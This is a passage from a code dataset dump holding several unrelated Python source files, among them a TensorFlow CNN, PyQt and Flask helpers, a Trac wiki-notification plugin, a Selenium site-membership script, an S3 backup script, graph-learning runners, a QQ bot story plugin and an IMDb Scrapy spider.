strides=1)\n dropout2 = tf.layers.dropout(pool2, rate=0.5, training=mode == tf.estimator.ModeKeys.TRAIN)\n\n conv3 = tf.layers.conv2d(\n inputs=dropout2,\n filters=96,\n kernel_size=3,\n padding='same',\n kernel_initializer=tf.keras.initializers.he_uniform)\n bn3 = tf.layers.BatchNormalization(conv3, axis=1)\n av3 = tf.nn.relu(bn3)\n pool3 = tf.layers.max_pooling2d(av3, pool_size=3, strides=1)\n dropout3 = tf.layers.dropout(pool3, rate=0.5, training=mode == tf.estimator.ModeKeys.TRAIN)\n\n conv4 = tf.layers.conv2d(\n inputs=dropout3,\n filters=128,\n kernel_size=3,\n padding='same',\n kernel_initializer=tf.keras.initializers.he_uniform)\n bn4 = tf.layers.BatchNormalization(conv4, axis=1)\n av4 = tf.nn.relu(bn4)\n pool4 = tf.layers.max_pooling2d(av4, pool_size=3, strides=1)\n dropout4 = tf.layers.dropout(pool4, rate=0.5, training=mode == tf.estimator.ModeKeys.TRAIN)\n\n gv = tf.reduce_mean(dropout4, axis=[1, 2]) # 全局池化\n\n dense1 = tf.layers.dense(inputs=gv, units=512, activation=tf.nn.relu,\n kernel_initializer=tf.keras.initializers.he_uniform)\n logits = tf.layers.dense(dense1, 10, kernel_initializer=tf.keras.initializers.he_uniform)\n\n predictions = {\n 'classes': tf.argmax(logits, axis=1),\n 'probabilities': tf.nn.softmax(logits),\n }\n if mode == tf.estimator.ModeKeys.PREDICT:\n return tf.estimator.EstimatorSpec(mode=mode, predictions=predictions)\n\n loss = tf.losses.sparse_softmax_cross_entropy(labels=labels, logits=logits)\n\n if mode == tf.estimator.ModeKeys.TRAIN:\n optimizer = tf.train.AdamOptimizer()\n train_op = optimizer.minimize(loss=loss, global_step=tf.train.get_global_step())\n return tf.estimator.EstimatorSpec(mode=mode, loss=loss, train_op=train_op)\n\n eval_metric_op = {\n 'accuracy': tf.metrics.accuracy(labels=labels, predictions=predictions['classes'])\n }\n return tf.estimator.EstimatorSpec(mode, loss=loss, eval_metric_ops=eval_metric_op)\n\n\n# def main():\n\n\nif __name__ == '__main__':\n tf.app.run(main)\n","sub_path":"src/DCASE_task1_with_tf.py","file_name":"DCASE_task1_with_tf.py","file_ext":"py","file_size_in_byte":3005,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"44475858","text":"import sys\nfrom PyQt5.QtCore import pyqtSlot\nfrom PyQt5.QtWidgets import QApplication, QDialog, QMainWindow, QTableWidget, QTableWidgetItem\nfrom PyQt5.uic import loadUi\n\n#class Tester(QMainWindow):\n# def __init__(self):\n# super().__init__()\n# loadUi('life2coding.ui', self)\n# self.setWindowTitle('My first Python UI')\n# self.pushButton.clicked.connect(self.on_pushButton_clicked) \n# @pyqtSlot()\n# def on_pushButton_clicked(self):\n# self.label1.setText('Welcome: ' + self.lineEdit.text())\n# self.tableWidget.setItem(0,0, QTableWidgetItem(self.lineEdit.text()))\n \nclass Tester(QDialog):\n def __init__(self):\n super().__init__()\n loadUi('welcome.ui', self)\n self.setWindowTitle('Welcome to Bankenstein')\n self.exitButton.clicked.connect(self.exitButton_clicked)\n self.loginButton.clicked.connect(self.loginButton_clicked)\n self.newUserButton.clicked.connect(self.newUserButton_clicked)\n \n @pyqtSlot()\n def exitButton_clicked(self):\n self.label.setText('the exit button is working')\n sys.exit()\n \n @pyqtSlot()\n def loginButton_clicked(self):\n self.label.setText('the login button is working')\n \n @pyqtSlot()\n def newUserButton_clicked(self):\n self.label.setText('the new user button is working')\n \napp = QApplication(sys.argv)\nwidget = Tester()\nwidget.show()\nsys.exit(app.exec_())\n","sub_path":"ui/ui.py","file_name":"ui.py","file_ext":"py","file_size_in_byte":1453,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"452375616","text":"#!/usr/bin/python3\n#-*- coding: utf-8 -*-\n# coding: utf-8\n# pylint: disable=C0103,C0111,W0621\n\n# import export._generic\nfrom ..\timport\t_generic\n\n# ##############################################################################\n# ##############################################################################\n#\n#\tLogging configuration\n#\nimport logging\n\nlog = logging.getLogger(__name__)\nlog.setLevel(logging.INFO)\n\n# ##############################################################################\n# ##############################################################################\n\ndef\tfromJson(pApiPath, pApiSubpath, pTagsDict, pJsonObjectLanHostL3Connectivity):\n\n\tlog.debug(\n\t\t\"pJsonObjectLanHostL3Connectivity = %s\",\n\t\tpJsonObjectLanHostL3Connectivity )\n\n\t# Set some tags\n\tlTags\t=\tpTagsDict.copy()\n\tlTags['l3connectivity_addr']\t=\tpJsonObjectLanHostL3Connectivity['addr']\n\tlTags['l3connectivity_af']\t=\tpJsonObjectLanHostL3Connectivity['af']\n\n\t#\n\t#\tIterate over available keys\n\t#\n\tfor lJsonKey in pJsonObjectLanHostL3Connectivity:\n\n\t\t#\n\t\t#\tThose keys are used in tags, skip them.\n\t\t#\n\t\tif\t(\tlJsonKey\t==\t'addr'\n\t\t\tor\tlJsonKey\t==\t'af'\t):\n\t\t\tcontinue\n\n\t\t#\n\t\t# Default export rule\n\t\t#\n\t\telse:\n\t\t\t_generic.measurement(\n\t\t\t\tpApiPath\t=\tpApiPath,\n\t\t\t\tpApiSubpath\t=\tpApiSubpath,\n\t\t\t\tpApiAttribute\t=\tlJsonKey,\n\t\t\t\tpAttrValue\t=\tpJsonObjectLanHostL3Connectivity[lJsonKey],\n\t\t\t\tpTagsDict\t=\tlTags#,\n\t\t\t\t# pFieldsDict\t=\tlFields\n\t\t\t)\n\n# ##############################################################################\n# ##############################################################################\n","sub_path":"src/export/objects/LanHostL3Connectivity.py","file_name":"LanHostL3Connectivity.py","file_ext":"py","file_size_in_byte":1576,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"581372034","text":"from sklearn.externals import joblib\n\nfrom zzz.chapter06.knock52 import load_data\n\nif __name__ == '__main__':\n clf = joblib.load('linear_model.pkl')\n (x_val, y_val) = load_data('valid{}.txt')\n x = x_val.sample(n=10)\n # [b, e, m, t]\n res = clf.predict(x)\n prob = clf.predict_proba(x)\n\n print('Category: X', '|\\tprobability:', ['b', 'e', 'm', 't'])\n for (r, p) in zip(res, prob):\n print('Category:', r, '|\\tprobability:', p)","sub_path":"zzz/chapter06/knock53.py","file_name":"knock53.py","file_ext":"py","file_size_in_byte":453,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"540292620","text":"from trac.core import *\nfrom trac.config import BoolOption\nfrom trac.wiki.api import IWikiChangeListener\nfrom announcerplugin.api import AnnouncementSystem, AnnouncementEvent\n\nclass WikiChangeEvent(AnnouncementEvent):\n def __init__(self, realm, category, target, \n comment=None, author=None, version=None, \n timestamp=None, remote_addr=None,\n attachment=None):\n AnnouncementEvent.__init__(self, realm, category, target)\n self.author = author\n self.comment = comment\n self.version = version\n self.timestamp = timestamp\n self.remote_addr = remote_addr\n self.attachment = attachment\n\nclass WikiChangeProducer(Component):\n implements(IWikiChangeListener)\n \n def wiki_page_added(self, page):\n history = list(page.get_history())[0]\n announcer = AnnouncementSystem(page.env)\n announcer.send(\n WikiChangeEvent(\"wiki\", \"created\", page,\n author=history[2], version=history[0] \n )\n ) \n \n def wiki_page_changed(self, page, version, t, comment, author, ipnr):\n announcer = AnnouncementSystem(page.env)\n announcer.send(\n WikiChangeEvent(\"wiki\", \"changed\", page,\n comment=comment, author=author, version=version,\n timestamp=t, remote_addr=ipnr\n )\n )\n \n def wiki_page_deleted(self, page):\n announcer = AnnouncementSystem(page.env)\n announcer.send(\n WikiChangeEvent(\"wiki\", \"deleted\", page)\n )\n \n def wiki_page_version_deleted(self, page):\n announcer = AnnouncementSystem(page.env)\n announcer.send(\n WikiChangeEvent(\"wiki\", \"version deleted\", page)\n )\n \n","sub_path":"announcerplugin/tags/0.11.0/announcerplugin/producers/wiki.py","file_name":"wiki.py","file_ext":"py","file_size_in_byte":1793,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"154527249","text":"## ---------- ##\n## external imports\n## ---------- ##\n\nfrom lxml import html\nimport csv\nimport json\n\n\n## ---------- ##\n## internal imports\n## ---------- ##\n\nimport chelper\nimport shelper\nimport sessioner\n\n\n## ---------- ##\n## functions\n## ---------- ##\n\n## pseudo-private function to validate headers of a user data csv and return\n## a string describing what type of data is being passed in: add existing; add\n## existing and new; or invalid columns\n## (expects a headers dictionary created by the chelper function)\ndef _validate_headers (headers):\n\n ## first check the column count, then check the actual header names\n column_count = headers[\"column_count\"]\n if column_count == 2:\n if \"Email\" and \"Role\" in headers:\n return \"add existing\"\n else:\n return \"invalid columns\"\n elif column_count == 4:\n if \"Email\" and \"Role\" and \"First Name\" and \"Last Name\" in headers:\n return \"add existing and new\"\n else:\n return \"invalid columns\"\n ## else if there are the wrong number of columns\n else:\n return \"invalid columns\"\n\n\n## pseduo-private function to update the role of a given user; depends on users\n## dictionary generated by the get_users function; doesn't return anything\ndef _update_user_role (driver, site_info, user_id, role):\n\n ## ---------- ##\n ## helper functions\n ## ---------- ##\n\n ## helper function to load edit membership URL and make change based on\n ## provided id of the radio button to select\n def _select_and_submit (driver, url, radio_id):\n\n driver.get(url)\n radio_element = driver.find_element_by_id(radio_id)\n shelper.click_element(driver, radio_element)\n driver.find_element_by_id(\"edit-submit\").click()\n\n\n ## ---------- ##\n ## main\n ## ---------- ##\n\n ## build URL for update user membership page\n url = site_info[\"base_url\"] + \"cp/users/edit_membership/\" + user_id\n\n ## convert role to lower case to eliminate any case sensitivity\n role = role.lower()\n\n ## check the radio button associated with the provided role\n if role == \"administrator\":\n _select_and_submit(driver, url, \"edit-edit-role-vsite-admin\")\n elif role == \"content editor\":\n _select_and_submit(driver, url, \"edit-edit-role-content-editor\")\n elif role == \"basic member\":\n _select_and_submit(driver, url, \"edit-edit-role-vsite-user\")\n elif role == \"viewer\":\n _select_and_submit(driver, url, \"edit-edit-role-viewer\")\n else:\n print(\"-----> Provided role not recognized.\")\n\n\n## function to build a dictionary of all users on a given site\ndef get_users (driver, site_info, cookies):\n\n ## set driver sessioner with the given cookies\n sessioner.set_session_cookies(driver, site_info, cookies)\n\n ## load users page and convert to lxml tree\n driver.get(site_info[\"base_url\"] + \"cp/users\")\n tree = html.fromstring(driver.page_source)\n\n ## find and loop through table to get usernames of users and store in a\n ## dictionary along with their user ids; there should always be at least one\n ## user (the site owner)\n users = {}\n tables = tree.find_class(\"sticky-table\")\n table = tables[0]\n table_body = table[1]\n for row in table_body:\n username = row[1].text\n edit_links = row.find_class(\"cp-user-float-right\")\n edit_link = edit_links[0].attrib[\"href\"]\n\n ## cut out base URL (custom domain sites) and URL keyword (project/scholar/hwpi sites)\n user_id = edit_link.replace(site_info[\"base_url\"], \"\")\n user_id = user_id.replace(site_info[\"url_keyword\"], \"\")\n user_id = user_id.replace(\"cp/users/edit_membership/\", \"\")\n user_id = user_id.replace(\"/\", \"\")\n users[username] = user_id\n\n return users\n\n\n## core function in user_injector.py that will add users to the given site\ndef inject_users (driver, site_info, cookies):\n\n ## ---------- ##\n ## helper functions\n ## ---------- ##\n\n ## helper function to add a user as a member of a site (assumes necessary\n ## validation was already run)\n def _add_user_to_site (driver, site_info, username):\n\n driver.get(site_info[\"base_url\"] + \"cp/users/add\")\n driver.find_element_by_id(\"edit-name\").send_keys(username)\n driver.find_element_by_id(\"edit-submit\").click()\n\n\n ## helper function to check user membership (assumes that they weren't found\n ## in the user search JSON data); returns True if a member\n def _check_user_membership (driver, site_info, email):\n\n ## load add user page\n driver.get(site_info[\"base_url\"] + \"cp/users/add\")\n\n ## submit just email address to check if it already exists\n driver.find_element_by_id(\"new-user-link\").click()\n driver.find_element_by_id(\"edit-mail\").send_keys(email)\n driver.find_element_by_id(\"edit-submit--2\").click()\n\n ## check email element for error class (if present then user exists)\n classes = driver.find_element_by_id(\"edit-mail\").get_attribute(\"class\")\n error_index = classes.find(\"error\")\n if error_index != -1:\n return True\n else:\n return False\n\n\n ## ---------- ##\n ## main\n ## ---------- ##\n\n ## set driver sessioner with the given cookies\n sessioner.set_session_cookies(driver, site_info, cookies)\n print(\"Cookies set.\")\n\n ## open csv file with user data; expect file to have header row\n ## if CSV only has two columns, expect only current users to be added; if CSV\n ## has four columns, also add new users if First and Last Name provided\n ## (Column 1: Email Address, Column 2: Role, Column 3: First Name,\n ## Column 4: Last Name)\n with open(\"user_data.csv\", \"r\") as f:\n reader = csv.reader(f)\n\n ## get column headers and then validate then validate\n column_headers = chelper.get_column_headers(reader)\n validation = _validate_headers(column_headers)\n\n ## check validation before continuing\n if validation == \"add existing\" or validation == \"add existing and new\":\n ## declare users dictionary (this will be updated as new users are added)\n users = {}\n\n ## loop through each row of user data in the CSV adding them to the site and setting their role\n for index, row in enumerate(reader):\n ## if the headers passed validation there must at least be emails and roles\n email = row[column_headers[\"Email\"]]\n role = row[column_headers[\"Role\"]]\n\n ## debug\n print(str(index + 1) + \": \" + email + \" | \" + role)\n\n ## load user search JSON data\n driver.get(\"http://\" + site_info[\"domain\"] + \"/index.php?q=\" + site_info[\"url_keyword\"] + \"vsite/autocomplete/user/\" + email)\n\n ## get JSON data from the body and convert to Python dictionary\n body_text = driver.find_element_by_tag_name(\"body\").text\n user_search_results = json.loads(body_text)\n\n ## loop through user search results looking for exact match of email address\n for username in user_search_results:\n ## strip everything but email address from entry\n entry = user_search_results[username]\n comma_index = entry.find(\", \")\n email_unclean = entry[comma_index:]\n email_clean = email_unclean.strip(\", )\")\n\n ## check for exact match\n if email_clean == email:\n ## add user as member of the site\n _add_user_to_site(driver, site_info, username)\n\n ## update users dictionary and the user's role\n users = get_users(driver, site_info, cookies)\n user_id = users[username]\n _update_user_role(driver, site_info, user_id, role)\n\n break\n ## else if exact match not found, check whether the user is a member of the site\n else:\n is_member = _check_user_membership(driver, site_info, email)\n if is_member == True:\n print(\"-----> A user with this email address is already a member of the site.\")\n ## if the user isn't a member and the CSV was validated for adding new users then add new users\n elif validation == \"add existing and new\":\n ## gather name data and check that a First and Last Name have been provided\n first_name = row[column_headers[\"First Name\"]]\n last_name = row[column_headers[\"Last Name\"]]\n if first_name != \"\" and last_name != \"\":\n ## create a new username based on first inital and last name\n username = first_name[:1] + last_name\n username = username.lower()\n\n ## input and submit new user data (email already added when checking membership)\n driver.find_element_by_id(\"edit-name--2\").send_keys(username)\n driver.find_element_by_id(\"edit-field-first-name-und-0-value\").send_keys(first_name)\n driver.find_element_by_id(\"edit-field-last-name-und-0-value\").send_keys(last_name)\n driver.find_element_by_id(\"edit-submit--2\").click()\n\n ## check if new user was successfully created\n trailing_int = 1\n while True:\n ## if page title stays at Add a User... it means the username\n ## is already in use--increment trailing integer and try again\n title = shelper.get_page_title(driver)\n if title == \"Add a User to Your Website\":\n trailing_int += 1\n driver.find_element_by_id(\"edit-name--2\").clear()\n driver.find_element_by_id(\"edit-name--2\").send_keys(username + \"0\" + str(trailing_int))\n driver.find_element_by_id(\"edit-submit--2\").click()\n ## else if title moves on (to Manage Members) end loop\n else:\n break\n\n ## add user as member of the site\n _add_user_to_site(driver, site_info, username)\n\n ## update users dictionary and the user's role\n users = get_users(driver, site_info, cookies)\n user_id = users[username]\n _update_user_role(driver, site_info, user_id, role)\n\n print(\"-----> Added as a new user. Notification email sent.\")\n ## else if no first and last name given just print message\n else:\n print(\"-----> A user with this email address does not exist.\")\n ## else if no error class and CSV not validated for adding new users print message\n else:\n print(\"-----> A user with this email address does not exist.\")\n ## else if the validation states the file has invalid columns print error and quit\n else:\n print(\"-----> The user_data.csv file has invalid columns.\")\n raise SystemExit\n","sub_path":"user_injector.py","file_name":"user_injector.py","file_ext":"py","file_size_in_byte":11692,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"596227354","text":"from secret import AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY\r\n\r\nimport time\r\nimport boto3\r\nimport os\r\nimport time\r\nimport shutil\r\nfrom datetime import datetime\r\n\r\ndate = datetime.now().strftime(\"%Y-%m-%d\")\r\ndir_name = \"C:/Users/mzahn/Documents/\"\r\nzip_path= \"C:/Users/mzahn/\"\r\nfilename = \"laptop-\"\r\nextension = \".zip\"\r\noutput_filename = filename + date\r\n\r\nprint ('Starting back-up to S3 bucket.... ')\r\n\r\nos.chdir(\"C:/Users/mzahn/\")\r\nshutil.make_archive(output_filename, 'zip', dir_name)\r\n\r\nclient = boto3.client('s3',\r\n aws_access_key_id = AWS_ACCESS_KEY_ID,\r\n aws_secret_access_key = AWS_SECRET_ACCESS_KEY)\r\n\r\nfor file in os.listdir():\r\n if file.endswith('.zip'):\r\n upload_file_bucket = 'laptop-bkp'\r\n upload_file_key = str(file)\r\n client.upload_file(file, upload_file_bucket, upload_file_key)\r\n\r\n# Cleanup\r\nos.remove(output_filename + extension)\r\nprint('Backup completed')\r\ntime.sleep(1)\r\n","sub_path":"archive/laptop-to-S3.py","file_name":"laptop-to-S3.py","file_ext":"py","file_size_in_byte":959,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"375614527","text":"import argparse\nimport settings\n\nfrom clustering import Clustering_Runner\nfrom link_prediction import Link_pred_Runner\n\nimport tensorflow.compat.v1 as tf\n\nparser = argparse.ArgumentParser(formatter_class=argparse.ArgumentDefaultsHelpFormatter)\nparser.add_argument('--dset', type=str, choices=['cora', 'citeseer', 'pubmed'], default='cora')\nparser.add_argument('--arch', type=str, choices=['arga', 'arvga'], default='arga')\nparser.add_argument('--task', type=str, choices=['clustering', 'link_prediction'], default='link_prediction')\nparser.add_argument('--run_all', action='store_true', default=False)\nargs = parser.parse_args()\n\nimport sys\nsys.argv = sys.argv[:1]\n\nif args.run_all:\n dsets = ['cora', 'citeseer'] #'pubmed',\n archs = ['arga', 'arvga']\n tasks = ['clustering', 'link_prediction']\n\n for task in tasks:\n for arch in archs:\n for dset in dsets:\n setting_dict = settings.get_settings(dset, arch, task)\n\n if task == 'clustering':\n runner = Clustering_Runner(setting_dict)\n else:\n runner = Link_pred_Runner(setting_dict)\n\n runner.erun()\n print('')\n tf.reset_default_graph()\n\nelse:\n setting_dict = settings.get_settings(args.dset, args.arch, args.task)\n\n if args.task == 'clustering':\n runner = Clustering_Runner(setting_dict)\n else:\n runner = Link_pred_Runner(setting_dict)\n\n runner.erun()\n\n","sub_path":"ARGA/arga/run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":1482,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"216392480","text":"#from gurobipy import *\nimport traceback\nimport openPanilhas, leitorDePanilha\ntry:\n l = openPanilhas.getPlanilhas()\n for x in range(len(l)):\n leitorDePanilha.getValeus(l[x])\n\nexcept AttributeError:\n print(\"Algum erro\")\n traceback.print_exc()","sub_path":"interface.py","file_name":"interface.py","file_ext":"py","file_size_in_byte":260,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"269161157","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Oct 4 13:38:14 2018\n\n@author:Nipuna\n\"\"\"\n\nfrom rasa_nlu.training_data import load_data\nfrom rasa_nlu.model import Trainer\nfrom rasa_nlu import config\nfrom rasa_nlu.model import Interpreter\n\nimport random\nimport json\n\nnull=\"null\"\ntrue=\"true\"\nfalse=\"false\"\n\n\ndef Trigger_Intent(q): \n confidence_intent=q[\"intent\"][\"confidence\"]\n tr_intent=q[\"intent\"][\"name\"]\n \n return tr_intent,confidence_intent\n \n\ndef JSONLoad(urlHead,tr_intent): \n url=urlHead+tr_intent+\".json\"\n with open(url,encoding='utf-8') as data_file:\n json_intent = json.loads(data_file.read())\n return json_intent\n\n\ndef getOutput(json_intent):\n parameters=(json_intent[\"responses\"][0][\"parameters\"])\n message_list=(json_intent[\"responses\"][0][\"messages\"][0][\"speech\"])\n \n len_msg_lst=len(message_list)\n response={}\n response[\"intent\"]=json_intent[\"name\"]\n response[\"parameters\"]=parameters\n \n if len_msg_lst==0:\n response[\"message\"]=\"\"\n else:\n rand_int=random.randint(0,len_msg_lst-1)\n rand_message=message_list[rand_int]\n response[\"message\"]=rand_message\n\n return (response)\n \n \ndef train_nlu(data, configure, model_dir):\n training_data = load_data(data)\n trainer = Trainer(config.load(configure))\n trainer.train(training_data)\n model_directory = trainer.persist(model_dir,fixed_model_name=\"mod_name\")\n \ndef get_input():\n userInput = input(\"Comment : \")\n return userInput\n \ndef run_nlu():\n userIn = get_input() \n a = interpreter.parse(userIn)\n return a\n \nif __name__ == '__main__':\n #train_nlu('./data/data.json', 'config.yml', './models/nlu')\n interpreter = Interpreter.load('./Pro/models/default/Mod1/')\n while(True):\n a = run_nlu()\n print(a)\n \n tr_intent,confidence_intent= Trigger_Intent(a)\n if confidence_intent >= 0.1:\n json_intent=JSONLoad(\"./Testbot_prim/intents/\",tr_intent)\n response=getOutput(json_intent) \n\n else:\n response = {\n \"intent\": \"default.intent\",\n \"parameters\":[],\n \"message\":\" \"\n }\n \n print(response)\n","sub_path":"Bot_responseJson/response_prim.py","file_name":"response_prim.py","file_ext":"py","file_size_in_byte":2246,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"506047838","text":"\nfrom rest_framework.response import Response\n\nfrom api_basebone.core.exceptions import ERROR_PHRASES\n\n\ndef success_response(data=None):\n \"\"\"成功返回的数据结构\"\"\"\n\n if data is not None:\n response_data = {\n 'error_code': '0',\n 'error_message': '',\n 'result': data,\n }\n else:\n response_data = {\n 'error_code': '0',\n 'error_message': '',\n }\n\n return Response(response_data)\n\n\ndef error_response(error_code, error_message=None, error_data=None, error_app=None):\n \"\"\"业务异常返回的数据结构\"\"\"\n\n if not error_message:\n error_message = ERROR_PHRASES.get(error_code, '')\n\n response_data = {\n 'error_code': error_code,\n 'error_message': error_message,\n 'error_data': error_data,\n 'error_app': error_app,\n }\n\n return Response(response_data)\n","sub_path":"api_basebone/drf/response.py","file_name":"response.py","file_ext":"py","file_size_in_byte":896,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"404747451","text":"import scrapy\nfrom scrapy.linkextractors import LinkExtractor\nfrom scrapy.spiders import CrawlSpider, Rule\nimport time\nimport re\n\nclass BestMoviesSpider(CrawlSpider):\n name = 'best_movies'\n allowed_domains = ['imdb.com']\n\n user_agent = \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36\"\n\n def start_requests(self):\n yield scrapy.Request(url=\"https://www.imdb.com/chart/top\", headers={\n \"User-Agent\" : self.user_agent\n })\n\n rules = (\n Rule(LinkExtractor(restrict_xpaths='//table/tbody/tr/td[2]/a'), callback='parse_item', follow=True, process_request='set_user_agent'),\n )\n\n def set_user_agent(self, request, response):\n request.headers['User-Agent'] = self.user_agent\n return request\n\n def parse_item(self, response):\n title = response.xpath('//div[@class=\"title_bar_wrapper\"]/div[@class=\"titleBar\"]/div[@class=\"title_wrapper\"]/h1/text()').get()\n year = response.xpath('//span[@id=\"titleYear\"]/a/text()').get()\n duration = response.xpath('//div[@class=\"subtext\"]/time/text()').get()\n genre = response.xpath('//div[@class=\"subtext\"]/a[1]/text()').get()\n rating = response.xpath('//span[@itemprop=\"ratingValue\"]/text()').get()\n #title = re.sub(r\"\\xa0\", '', title)\n duration = re.sub(r\"[\\n\\t\\s]*\", \"\", duration)\n\n\n yield{\n \"title\": title,\n \"year\": year,\n \"duration\": duration,\n \"genre\": genre,\n \"rating\":rating\n }\n time.sleep(0.3) # load time sleep \n","sub_path":"crawl spiders scrapy/imdb/imdb/spiders/best_movies.py","file_name":"best_movies.py","file_ext":"py","file_size_in_byte":1609,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"39179883","text":"import os\nimport requests\n\nfrom rook import CONFIG\n\n\nclass InventoryCache:\n def __init__(self, cache_dir=\"/tmp/inventory_cache\"):\n self.cache_dir = cache_dir\n self.content = {}\n\n if not os.path.isdir(self.cache_dir):\n os.makedirs(self.cache_dir)\n\n self._load_content()\n\n def _get_project_id(self, fname):\n return fname.split(\"_\")[0]\n\n def _load_content(self):\n # Search the cache directory for files and put in self.content\n for fname in os.listdir(self.cache_dir):\n self.content[self._get_project_id(fname)] = os.path.join(\n self.cache_dir, fname\n )\n\n def _download(self, project):\n # Get the file the symlink points to first\n symlink_url = CONFIG.get(f\"project:{project}\", {}).get(\"inventory_url\")\n inv_name = requests.get(symlink_url).text.strip()\n\n if inv_name in self.content:\n # If already got, take no action\n return\n\n # Download the real file\n inventory_url = os.path.join(os.path.dirname(symlink_url), inv_name)\n resp = requests.get(inventory_url)\n\n # Write to cache file\n cache_file = os.path.join(self.cache_dir, inv_name)\n with open(cache_file, \"w\") as writer:\n writer.write(resp.text.strip())\n\n self.content[project] = cache_file\n\n def get(self, project):\n if project not in self.content:\n self._download(project)\n return self.content[project]\n\n\n# Define a single global inventory cache object\ninventory_cache = InventoryCache()\n","sub_path":"rook/director/inv_cache.py","file_name":"inv_cache.py","file_ext":"py","file_size_in_byte":1589,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"430553222","text":"# -*- coding: utf-8 -*-\n\nfrom nonebot import on_command, CommandSession\nfrom nonebot import get_bot, log, permission\nfrom . import common\n\nimport os\nimport random\n\n__plugin_name__ = 'CP小故事'\n__plugin_usage__ = r\"\"\"\n[CP 小故事]\n文案来自“mxh-mini-apps”\nhttps://github.com/mxh-mini-apps/mxh-cp-stories\n----------\n直接使用:\n /cp {主角A} {主角B}\n\"\"\"\n\n# 获取bot对象\nbot = get_bot()\npwd = os.path.dirname(__file__)\n\n@on_command('cp', aliases=('cp'), only_to_me=False)\nasync def _loveword(session: CommandSession):\n # 获取参数链接\n arg = session.current_arg_text.strip()\n if not arg:\n # 向用户发送信息\n await session.send('故事不能没有主角')\n return\n \n # 整理参数\n arg = arg.replace(' ', ' ')\n arg = arg.replace(' ', ' ')\n arg = arg.replace(' ', ' ')\n args = arg.split(' ')\n if len(args) < 2:\n # 向用户发送信息\n await session.send('还缺个主角B')\n return\n \n # 读取模板\n tplPath = pwd + '/cq_CpStory.json'\n content = await common.readJson(tplPath)\n if content == None:\n await session.send('故事丢了')\n return\n \n # 开始生成\n content = random.choice(content['data'])\n content = content.replace('<攻>', args[0])\n content = content.replace('<受>', args[1])\n \n # 向用户发送信息\n await session.send(content)\n","sub_path":"cq_CpStory.py","file_name":"cq_CpStory.py","file_ext":"py","file_size_in_byte":1411,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"446202058","text":"\"\"\"django_project URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/1.11/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: url(r'^$', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: url(r'^$', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.conf.urls import url, include\n 2. Add a URL to urlpatterns: url(r'^blog/', include('blog.urls'))\n\"\"\"\nfrom django.conf.urls import url, include\nfrom django.contrib import admin\n\nfrom task_manager import views\n\nurlpatterns = [\n url(r'^$', views.tasks, name='tasks'),\n url(r'^update_task_name/(?P\\d+)/$', views.task_update_name, name='task_update_name'),\n url(r'^update_task_description/(?P\\d+)/$', views.task_update_description, name='task_update_description'),\n url(r'^toggle_task_status/(?P\\d+)/$', views.task_toggle_status, name='task_toggle_status'),\n url(r'^create_task/$', views.task_create, name='task_create'),\n url(r'^delete_task/(?P\\d+)/$', views.task_delete, name='task_delete'),\n]\n","sub_path":"task_manager/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1292,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"171183874","text":"## --*-- coding=utf-8 --*--\n\nimport threading\nimport requests\nfrom bs4 import BeautifulSoup\n\nclass Request_url(threading.Thread):\n '''智联大页面获得每个职务的具体连接,放在队列中'''\n def __init__(self,que_html,header,que_urlxihua,name):\n super().__init__()\n self.que_html=que_html\n self.que_xihua=que_urlxihua\n self.header=header\n self.name=name\n def run(self):\n print(\"{}启动\".format(self.name))\n\nclass Request_urlxihua(threading.Thread):\n ''' 分析第一层页面的内容,得到每个岗位的具体链接的url放在队列中'''\n def __init__(self,que_html,header,que_urlxihua,name):\n super().__init__()\n self.htmlstr=que_html\n self.header=header\n self.urlxihua=que_urlxihua\n self.name=name\n def run(self):\n print(\"{}启动\".format(self.name))\n\n\n\nclass Rspon_gw(threading.Thread):\n ''' 爬去并分析每个具体岗位的内容,在放队列中,职务内容和岗位要求分别放在不同队列'''\n def __init__(self,que_urlxihua,que_file,que_coucet,name):\n super().__init__()\n self.urlxihua=que_urlxihua\n self.file=que_file\n self.coucet=que_coucet\n self.name=name\n def run(self):\n print(\"{}启动\".format(self.name))","sub_path":"多线程读取智联招聘/CunChuandFenXi/Fenxi.py","file_name":"Fenxi.py","file_ext":"py","file_size_in_byte":1307,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"254147062","text":"from flask_restful import Resource, reqparse\n\nimport security.myJWT\nfrom models.user import UserModel\nfrom flask import request\n\n\n\nclass Transactions(Resource):\n # Variable that will allow us to parse the data when given a request\n parser = reqparse.RequestParser()\n\n # Specify what we want from the 